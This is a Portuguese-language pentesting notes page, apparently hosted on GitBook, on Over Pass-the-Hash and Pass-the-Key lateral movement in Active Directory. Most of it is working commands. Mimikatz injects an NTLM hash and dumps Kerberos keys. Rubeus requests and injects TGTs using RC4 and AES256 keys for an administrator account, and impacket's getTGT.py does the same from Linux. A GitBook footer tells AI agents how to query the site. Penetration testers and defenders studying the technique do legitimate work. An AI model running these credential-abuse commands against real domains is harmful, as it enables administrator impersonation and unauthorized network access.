> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Kerberos suporta vários tipos de chave, incluindo `RC4`, `AES128`, e `AES256`.

Com `mimikatz`, o seguinte comando abre uma nova sessão e também modifica o contexto do Kerberos na memória.

```bash
./mimikatz.exe

sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/3d8a4e125023579f64355d6864cd25e31106b0d7" alt=""><figcaption></figcaption></figure>

Uma vez que esse contexto é carregado, podemos solicitar um TGT com `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

Este comando recupera o TGT da conta e o injeta diretamente na memória.

<figure><img src="/files/6fc47f38a2be5359f1e2d0926b454a2154bdab9e" alt=""><figcaption></figcaption></figure>

Para ver as chaves Kerberos presentes na memória para uma conta, podemos usar `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

Em seguida recuperamos várias representações da mesma chave, por exemplo em `RC4` e em `AES256`.

<figure><img src="/files/2ed948ec78ff2bce01be2237af235529287e56a1" alt=""><figcaption></figcaption></figure>

Podemos então solicitar um TGT com a chave AES.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

No Linux, a mesma operação pode ser feita com `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="/files/eae3f45eeae545810595e64668c0ce7910e5b156" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
